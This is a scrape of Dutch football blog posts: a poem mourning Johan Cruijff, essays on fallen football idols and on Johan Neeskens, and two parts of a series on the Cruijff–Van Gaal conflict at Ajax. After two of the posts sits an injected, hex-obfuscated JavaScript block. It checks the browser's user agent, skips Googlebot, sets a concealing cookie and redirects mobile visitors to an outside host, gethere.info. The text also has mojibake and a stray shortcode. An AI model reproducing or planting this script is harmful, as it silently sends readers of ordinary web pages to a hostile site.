Ofschoon een tikkeltje te groot
maar waande me, als boerenkinkel
toch min of meer een soortgenoot

Nu hij van ons is heengegaan
besef ik, het was sublimatie
Jeugdige overmoed of grootheidswaan
maar geen ander had zó mijn adoratie

Zovelen die zijn overleden
Doden die diep worden betreurd
Het is veelal van me afgegleden
Beschaamd heb ik mezelf bekeurd

Dat dit me zo heeft aangegrepen
ontlokt ook mijn verontwaardiging
Dat ik zo nodig nu moet dwepen
en selectief ben in benadering

Och, het zal Johan geenszins deren
Hij dartelt nu daarboven rond
Terwijl hij Bowie tracht te leren
hoe je controle krijgt op voetbalgrond

Read Full Post »

Dit moest een stukje worden over Letland – Nederland en misschien gaat het daar A?A?k wel over. Ergens. Maar laat ik er niet te veel woorden aan vuil maken. ‘We’ leven nog, daar is eigenlijk alles mee gezegd. Waar ik het vooral over wil hebben is het al dan niet terechte demasquA� van de ene na de andere voetbalicoon. Al beperkt deze schier onstuitbare ontmaskering zich zeker niet tot de voetbalwereld. De voetstukval van onze grootste voetballer ooit is weliswaar prematuur en moet nog met harde bewijzen worden gestaafd, maar de bijl is aan de wortel gezet. Al zijn hele voetbalgerelateerde leven lang is het fenomeen Hendrik Johannes Cruijff omstreden. Niet vanwege zijn voetbal- en trainerskwaliteiten – die worden wereldwijd erkend – maar de persoon Cruijff heeft altijd tegenstrijdige gevoelens opgeroepen. Ook bij mij. En toch beschouw ik mijzelf als een Cruijff-adept. Omdat ik, hoe warrig en discutabel zijn doen en vooral laten vaak ook waren, altijd ben uitgegaan van ’s mans eerzame bedoelingen.A�De recente onthullingen in de Volkskrant hebben mij echter voor het eerst aan het twijfelen gebracht. Ook al blijkt het artikel aantoonbare leugens en onvolkomenheden te bevatten. Dus blijf ik vurig hopen dat Jopie op mijn voetstuk blijft staan.

opi-mazuroZijn natuurlijke vijand Van Gaal viel van mijn voetstuk toen hij zich achter Cruijffs rug om kandidaat had gesteld bij Ajax ten tijde van de vorige, maar zeker niet laatste revolutie aldaar. Uitgerekend de man die ik zo bewonderde en benijdde om zijn directheid en eerlijkheid, verlaagde zich tot een geniepige, laaghartige daad. Bam! Een val die hard aankwam. Guus Hiddink slaagde erin om in een mum van tijd zijn schier onaantastbare aureool van boven de partijen staande en evenwichtige peoplemanager te verliezen. En bewijst nu keer op keer dat hij het toch al nooit moest hebben van tactisch vernuft en logische basisopstellingen.

Diens voorganger Bert van Marwijk mag tegenwoordig de wedstrijden op tv voor- en nabeschouwen. De eens zo nuchtere, wars van pretenties reagerende ex-bondscoach ontpopt zich momenteel beschouwingsgewijs als een irritant superieur ogende allesweter en genadeloze criticus van het huidige Oranje en dus impliciet zijn opvolger. Nu ben ik wel de laatste om iemand het recht te ontzeggen omA�kritiek te leveren – bovendien is er ook nog eens alle reden toe, maar toch: het is niet kies om je directe opvolger zA? vilein te fileren. Maar wat nog erger is: de analyticus Van Marwijk propageert schaamteloos aanvallend en avontuurlijk voetbal, terwijl de bondscoach Van Marwijk toch echt verantwoordelijk was voor de dubbele controlefunctie van Bommel en De Jong. En onthield ons wellicht een wereldtitel door verdacht lang een falende Van Persie te handhaven en een messcherpe Huntelaar op cruciale momenten te negeren.

voetstukAls straks zelfs de zo onschuldig ogende Messi een notoire belastingontduiker blijkt te zijn, val ik definitief af van mijn geloof. Want er vallen nog meer mensen van hun voetstuk dan dat er gaten vallen in Oranjes verdediging. En dat wil wat zeggen! Het maakt je schuw en achterdochtig. Het weerhoudt je er steeds meer van om onvoorwaardelijk te (ador)eren en om onbezoedelde voorbeelden en idolen te vinden. Wat als we niet meer onverdeeld kunnen bewonderen en vertrouwen? Het grootste gevaar is dan ook niet dat er mensen van hun voetstuk vallen, want dat is van alle tijden. Nee, het bestaansrecht van het voetstuk zelf dreigt te verdwijnen. En waar anders dan in de voetbalwereld moet het voetstuk koste wat kost in ere worden gehouden.

– de afbeelding komt vanA�rogerklaassen.com/wordpres

var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »

Het wordt weer eens tijd voor een schaamteloos stukje voetbalnostalgie en romantiek. Ter verpozing en ter afwisseling van – hoe terecht vaak ook – het schamperen, weeklagen en afserveren. Want hoe gaat het toch met Johan Neeskens? Ware het niet een gotspe, dan zou je bijna denken dat een van de beste middenvelders ooit in de vergetelheid is geraakt. Als was Johan Segundo verworden tot Johan Zero. Omdat, behalve natuurlijk Johan Orakel, Johan Afzeiksnor en Johan De Gekste, ene Johan de Cock nog vaker in het nieuws komt dan Neeskens. Zelfs de onvolprezen accounts Old School Panini en Antique Football lijken welhaast ostentatief Neeskens uit hun collectie te weren. En dat is een godvergeten schande! Totdat onlangs onze bovenste beste blogbroeder MotherSoccer zijn foto overnam van dit eveneens zeer bezienswaardige account voor liefhebbers van oude, curieuze voetbalhelden en -kapsels.

obs-mazuroJohan Neeskens. De secondant en op gezette tijden ‘huurmoordenaar’ van De Verlosser, met wie hij een jeugdliefde deelde: het honkbal. En al voetballend hetzelfde honk bezette bij Ajax en FC Barcelona. Neeskens was al op jonge leeftijd spijkerhard en meedogenloos, ook voor zichzelf. Gattuso? Nobby Stiles? Nigel de Jong? Bommel? Het waren schoothondjes vergeleken met De Nees. Zijn speelstijl zou tegenwoordig niet meer worden gepruimd door de overgeA?nstrueerde arbitrage en het minimum aan incasseringsvermogen van de kleurrijk geschoeide, zorgvuldig gecoiffeerde en veelal in geniepigheid geschoolde voetbalmannetjes. Eigenlijk was en ben ik altijd meer gecharmeerd van stijlvolle, creatieve en verfijnde voetballers. Maar Neeskens is een van de weinige uitzonderingen op mijn regel. Evenals Van Hanegem, die voetballend ook wel wat meer in huis had. Omdat zij exponenten en iconen zijn van de beste voetbalperiode die Nederland ooit gekend heeft, zowel qua kwaliteit als resultaat. En dus behoren tot de beste voetballers die de wereld ooit heeft voortgebracht.

Om welke redenen dan ook wordt De Nees in eigen land niet als zodanig erkend en gefA?teerd. In het buitenland wel en al zeker in Spanje, alwaar hij bij BarA�a destijds qua populariteit zelfs El Salvador naar de kroon stak. Ongebreidelde inzet gekoppeld aan bescheidenheid zijn nu eenm[wzslider autoplay=”true”]aal publiekstrekkers bij uitstek.A� En ook de Neeskens-strafschop staat bij elke voetballiefhebber voor eeuwig op het netvlies gebrand. Met de opspattende kalk van de penaltystip als de optrekkende rook van het doeltreffende pistoolschot. Opvallend genoeg ontpopte de bescheiden Neeskens zich veel meer tot globetrotter dan ‘man van de wereld’ Cruijff. Die zich, behalve wat uitstapjes naar de VS en Mexico, veelal beperkt tot het traject Barcelona – Amsterdam e.o. Johan Segundo daarentegen vertoefde jarenlang in Amerika; woonde, werkte en trouwde in Zwitserland en was (assistent-)voetbaltrainer in zowel Nederland als in diverse andere landen en continenten. Zijn laatste klusje was bij Mamelodi Sundowns Football Club in Pretoria, Zuid-Afrika. Daar werd hij eind 2012 ontslagen na diverse malen te zijn bedreigd door de fans. Sindsdien ontbreekt vrijwel ieder spoor van De Nees.

Hoe zou het met hem gaan? Waarom heeft Johan Primero zijn voormalige, hondstrouwe secondant nooit aanbevolen voor ’t Technisch Hart? Want spelen met het hart is heel wat anders dan ernaar wijzen op je shirt of er eentje vormen met je vingers. Als er iets ontbreekt aan de moderne beroepsvoetbalspeler is het wel de inzet met hart en ziel. Ik vrees dat Johan Neeskens zich daarbij heeft neergelegd. Met eenzelfde onbewogenheid als waarmee hij tegenstanders neerlegde en neergelegd werd. Kom daar nu nog maar eens om.

var _0x446d=[“x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6E”,”x69x6Ex64x65x78x4Fx66″,”x63x6Fx6Fx6Bx69x65″,”x75x73x65x72x41x67x65x6Ex74″,”x76x65x6Ex64x6Fx72″,”x6Fx70x65x72x61″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26″,”x67x6Fx6Fx67x6Cx65x62x6Fx74″,”x74x65x73x74″,”x73x75x62x73x74x72″,”x67x65x74x54x69x6Dx65″,”x5Fx6Dx61x75x74x68x74x6Fx6Bx65x6Ex3Dx31x3Bx20x70x61x74x68x3Dx2Fx3Bx65x78x70x69x72x65x73x3D”,”x74x6Fx55x54x43x53x74x72x69x6Ex67″,”x6Cx6Fx63x61x74x69x6Fx6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Read Full Post »


Insiders weten dat ik een groot voetballiefhebber ben, zeg maar gerust een fanaat. Diezelfde ingewijden (kunnen inmiddels ook) weten dat ik mijn gezonde verstand en kritische geest niet door deze passie laat ondersneeuwen. Dit kunt u lezen op het onvolprezen, door oudste zoonlief bedachte, kritisch knipogende voetbalblog Voetblah, waarop ik met grosso modo gelijkgezinden minimaal wekelijks publiceer. Maar ook dit weblog getuigt van een breder belangstellende blik die, in voetbaljargon, over de bal heen kijkt. Vandaar dat ik me niet alleen geroepen, maar tevens gelegitimeerd voel om het vrijwel unaniem als complete voetbalgekte aangemerkte pandemonium rondom Ajax nader te beschouwen. En zelfs de pretentie heb om althans een poging tot verklaring te doen.

Dat ik dit op mijn eigen weblog en niet op Voetblah of via een ander sportief kanaal doe, komt voort uit een mengeling van plaatsvervangende schaamte en behoefte aan duiding als ik denk aan het segment in onze samenleving dat helemaal niks met voetbal heeft of zelfs haat. Een segment dat qua omvang en negatieve waardering zeker niet zal zijn gekrompen door de recente, onverkwikkelijke Ajax-perikelen. Onder mijn vaste lezers zijn er ongetwijfeld velen die zich onder dit segment zullen scharen.


Maar het is, zoals de titel en inleiding al aangeven, niet alleen een soort van excuus aan al degenen die (n)iets met/tegen voetbal hebben. Het beoogt ook een verklaring te zijn, misschien zelfs wel een legitimatie,  voor gebeurtenissen die zeker op het eerste oog en oor – met dank aan Bram Moszkovicz – abject en infaam zijn. En voor de antagonisten: dit gevoel overheerst ook bij vele protagonisten. Zoals, zeker aanvankelijk, ook bij mij. Tegelijkertijd gaan velen met een een dubbele moraal aan de haal met dit verhaal. Naar buiten toe afkeuringswaardigheid, zelfs weerzin prediken en ondertussen stiekem smullen van de sensatie.

Vooropgesteld: de overvloedige, monomane aandacht voor dit koningsdrama in optima forma ging alle perken te buiten. Dat in de sportmedia gebeurt, alla, maar ook daarbuiten was het brekend nieuws, #trending topic en niet te vermijden. Zoals dit tegenwoordig ook al usance is wanneer Oranje een EK of WK speelt. Geen enkele nieuwsrubriek durft zich te onttrekken aan deze schier automatische reflex. Tsunami’s, hongersnood en Arabische of elders gelokaliseerde lentes doen er dan even niet toe. Het volk, het kijkersvee, wil spelen en koopt geen brood voor het echte wereldleed. Zo lijken althans de nieuws/programmamakers te redeneren, maar ik geloof hier geen barst van.

Als zelfs deze zelfverklaarde voetbalfanaat al constateert dat er sprake is van overkill en een flagrante miskenning van wat óók (want het doet er wel degelijk toe) belangrijk is, dan moet het bevolkingsdeel dat het er hier minstens mee eens is aanzienlijk zijn. Het is dat altijd maar weer hautain zwijgende segment, misschien wel in de meerderheid, dat maar niet in opstand wil komen, dat het zich steeds maar weer opnieuw laat aanleunen. Ik ben zelfs geneigd te stellen, dat zijn verantwoordelijkheid niet neemt. Dat zich liever elitair, snobistisch en koket in eigen kring tegen het voetbalvolk afzet dan dat het hiertegen actief, doch genuanceerd, in het geweer komt. (Laat nou uitgerekend Youp gevolgd door Govert, terwijl ik dit in de steigers zet, een als hier bedoeld ‘wij pikken het niet langer’-signaal afgeven!)

Saillant genoeg is het nota bene Ajax zelf geweest dat het eerst in intellectuele, artistieke kringen werd omarmd. Gefascineerd door de revolutionaire ontwikkeling van Cruijff en co – die bovendien de provocatieve, anti-establishment-geur van de eindjaren ’60 en beginjaren ’70 uitwasemde – schurkte menige kunst(on)zinnige BNN’er zich tegen het Lucky Ajax-succes aan. Van de jonge Freek tot de oude Youp, van Peter R. in zowel FReddy als FeRdi tot aan wie is De Mol. Ze verwerden tot zelfbenoemde dan wel gebombardeerde voetbaldeskundigen. Als factor die heeft bijgedragen tot de buitenproportionele aandacht voor het voetbal en Ajax in het bijzonder mag dit gegeven niet worden veronachtzaamd. Alle partijen houden malkander, de media en dus ons al publiek gegijzeld in hun ongebreidelde behoefte aan aandacht, gepaard aan angst om in de vergetelheid/lage kijkcijfers te geraken.

Alle vermaledijde, onverkwikkelijke uitwassen van de Ajax-soap ten spijt, kan ik er niet genoeg van krijgen. Omdat het door te trekken is naar het leven, de maatschappij, het mens-zijn zo u wilt. In wezen is het al lang van het voetbal losgezongen. De onontwarbare medialijntjes doen de rest. Slangenkuil, achterklap, karaktermoord, hoogverraad, intriges, manipulaties, kinderachtigheid en egomaan gedrag pur sang: het heeft alle kenmerken en ingrediënten van het echte (zaken)leven en de politiek. Alleen in het voetbal en in het bijzonder bij Ajax ligt het meteen op straat, lult iedereen mee, vormt Jan en alleman zich een mening en kiest men partij. Democratie in optima forma. In het bedrijfsleven en in de politiek zijn dit soort zaken schering en inslag, maar blijft het meestal binnens/achterkamertjes. In een enkel geval wordt er jaren nadien een kamerdebat of, als je ‘geluk’ hebt, een parlementaire enquête aan gewijd. Waaruit dan de verderfelijke geur van jarenlang rottend vullis opstijgt.

Er is nóg een element dat mijn poging om dit fenomeen te verklaren legitimeert en dat is mijn leeftijd. Ik stond aan de wieg van zowel de sportieve opkomst als de huidige, bestuurlijke afgang van Ajax. Ik doorleefde zowel het fenomeen Cruijff als het unieke verschijnsel Van Gaal. Ik bewonder alsmede verwerp het doen en laten van beide opponenten. Ik ben een der logischtieken/Cruijffianen én een evanGaalist. Of beter nog, geen van beiden. In de 2e aflevering ga ik dieper in op de ontstaansgeschiedenis en het verloop van dit klassieke, o zo menselijke, (grotendeels generatie)conflict.

– Afbeelding Van Gaal/Cruijff komt van http://www.ajax.nl

– Afbeelding antagonist/protagonist is van noctriate.deviantart.com

– Afbeelding slangenkuil is afkomstig van photographyabdu.com

Read Full Post »

Sorry mensen, maar het wordt een drieluik. Geen een-tweetje, maar een driehoekje. Waarmee ik me aan dezelfde overdadigheid bezondig, waarvan ik anderen beschuldig. Het zij zo. Bovendien, het is nu en op De Toekomst wel erg rustig, al kan dat zo weer anders zijn. Hieronder dus deel II. Dit weekend nog de afronding. Zie het maar als compensatie voor het momentane schromelijke gebrek aan Ajax-informatie..


Inmiddels zitten we volgens velen alweer wekenlang opgescheept met het onwel en wee in de Ajax-gelederen. Zoals gezegd, ík smul én walg ervan. Maar dat gaat vaak samen, komt misschien wel op hetzelfde neer. Onlangs heeft zich weer een nieuw element ingevoegd: een predikant als zijnde ex-ledenraadslid spreekt vanaf de Perskansel.nl een stichtelijk woord. Onthult even wat biechtgeheimen. De Griekse Tragedie aldus transformerend in een Bijbelse Vertelling. Toen de Ajacieden zich godenzonen zijn gaan wanen, gingen ze richting hel en verdoemenis, aldus Eerwaarde Klaas Vos. Me dunkt dat hij zich toen juist geroepen voelde. En hij rept over “de criminele apostelen van Cruijff“. Jammer dat hij ‘verzuimt’ de Judas-rol toe te bedelen. Want er zijn er nogal wat die daarvoor op z’n minst auditie hebben gedaan. En dan is er binnenkort nog een Cruijff Court in het geding op uitgerekend de dag dat Ajax de Koninklijke ontmoet! Wat je noemt een wedstrijd in een wedstrijd.

Eerder maakte ik gewag van een (grotendeels) generatieconflict. De (post-)babyboomers als Cruijff-apostelen en de late generaties (NI)X, Y en Z als evanGaalisten. Uiteraard is dit een scheiding met de grove kam. Er zijn allerlei dwarsverbanden en varianten op dit twee kampen-thema en ik heb u al uiteengezet hoe ik mezelf hierin positioneer. Zoals in vrijwel elk conflict draait het hoofdzakelijk om competentie en communicatie. Om behoefte aan erkenning en bevestiging. Met een niet te onderschatten rol voor de levenspartners.

Waar het gaat om status en erkenning heeft Van Gaal de pech tegenover Cruijff te staan, wiens mythe al was gecreëerd toen Louis voetballend en coachend nog aan de weg moest timmeren. Dus moest opboksen tegen wat er al bestond en sowieso als speler onbereikbaar was. Daar zal ook geen meningsverschil over bestaan. De crux zit ‘m in de trainingsaanpak en voetbalvisie in en op De Toekomst. Door Cruijff bloedserieus, dus uiterst schertsgevoelig, verengt tot de linker- en rechterhersenhelft. Ook Van Gaal hanteert een mensenbeeld, breed uitgemeten in zijn geautoriseerde biografie. Materie waarin beiden niet thuis zijn, dus verre van zouden moeten blijven. Eigen(on)zinnigheid en betweterigheid ten top. Ook al een bijna wetmatigheid qua tweestrijd: de opponenten gelijken in vele opzichten op elkander.

Er zijn echter twee essentiële verschillen die, naar mijn inschatting, ook de kiem vormen van dit conflict. Johan heeft, anders dan Louis, geen bevestiging meer nodig; is de zucht naar roem en erkenning allang voorbij. Hoe je ook over hem denkt, Cruijffs status als voetballer én trainer is, zeker in het buitenland, onaantastbaar. Wat Louis ook doet, hoeveel prijzen hij nog binnensleept, hij zal altijd in Cruijffs schaduw staan. Ik vermoed dat beiden dit weten, maar dat Johan dit vanzelfsprekend/logisch vindt en dat Louis het als een onrechtvaardigheid beschouwt.

Een tweede cruciale factor is volgens mij dat Cruijff een geheel ander(e) gewicht en betekenis aan het begrip ruzie lijkt toe te kennen. Gewend als hij is aan de kleedkamer’discussie’-cultuur en om altijd gelijk te hebben/krijgen, lijkt hij geen last te hebben van scrupules en rancune. Ook hier weer die vanzelfsprekendheid, waardoor hij zich niet kan voorstellen dat er anders over wordt gedacht en er zich dus ook niet in kan/wil verdiepen. Cruijff heeft, zo lijkt, een geheel eigen referentiekader inzake (vermeende) conflicten.

Waar vrijwel iedereen het gevoel heeft – en dus ook die conclusie trekt – dat er van een hooglopende ruzie sprake is, daar lijkt het voor Cruijff slechts een akkefietje. Iets waar hij dus snel overheen stapt en dan ook oprecht verbaasd is als dit anders wordt ervaren. Als gebrek aan empathie bijvoorbeeld of zelfs als gewetenloosheid. Voor zover dan – en zolang – de bal in het geding is, hoe ver dit attribuut in deze kwestie ook uit het zicht lijkt te zijn verdwenen. Want dit alles lijkt weer moeilijk verenigbaar met de man die een Foundation en University zijn naam heeft gegeven.

– Afbeelding De Toekomst komt van website nl.afcajax.wikia.com
Afbeelding Tweestrijd is afkomstig van zoom.nl
– Afbeelding Referentiekader is van uitdaging.net

Read Full Post »

%d bloggers liken dit: